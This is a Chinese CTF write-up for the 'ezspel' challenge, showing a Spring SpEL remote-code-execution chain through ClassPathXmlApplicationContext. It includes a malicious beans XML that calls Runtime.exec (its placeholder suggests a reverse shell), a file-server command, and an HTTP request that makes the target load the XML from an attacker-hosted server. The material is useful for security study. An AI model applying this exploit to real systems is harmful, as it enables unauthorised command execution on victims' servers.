## ezspel

### 设计思路

 SimpleEvaluationContext 下有条件的 SpEL RCE

调用栈：

```
org.springframework.expression.Expression#getValue(org.springframework.expression.EvaluationContext, java.lang.Object)
...
org.springframework.expression.spel.ast.Indexer#setArrayElement
org.springframework.expression.spel.ast.Indexer#convertValue
...
org.springframework.context.support.ClassPathXmlApplicationContext#ClassPathXmlApplicationContext(java.lang.String)
```

### 解题步骤

准备一个 vps，存放下面的 xml

```xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
        <constructor-arg value="#{T(Runtime).getRuntime().exec('填指令，例如反弹shell')}"/>
    </bean>
</beans>
```

启动文件服务器

```shell
python3 -m http.server 8000
```

发送请求

```http
POST http://target:8080/forward HTTP/1.1
Host: target:8080
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 136

forward=admin/eval&name=org.springframework.context.support.ClassPathXmlApplicationContext&expr=#root[0]='http://host.docker.internal:8000/poc.xml'
```

服务器执行 SpEL 表达式，请求 xml 文件，触发命令执行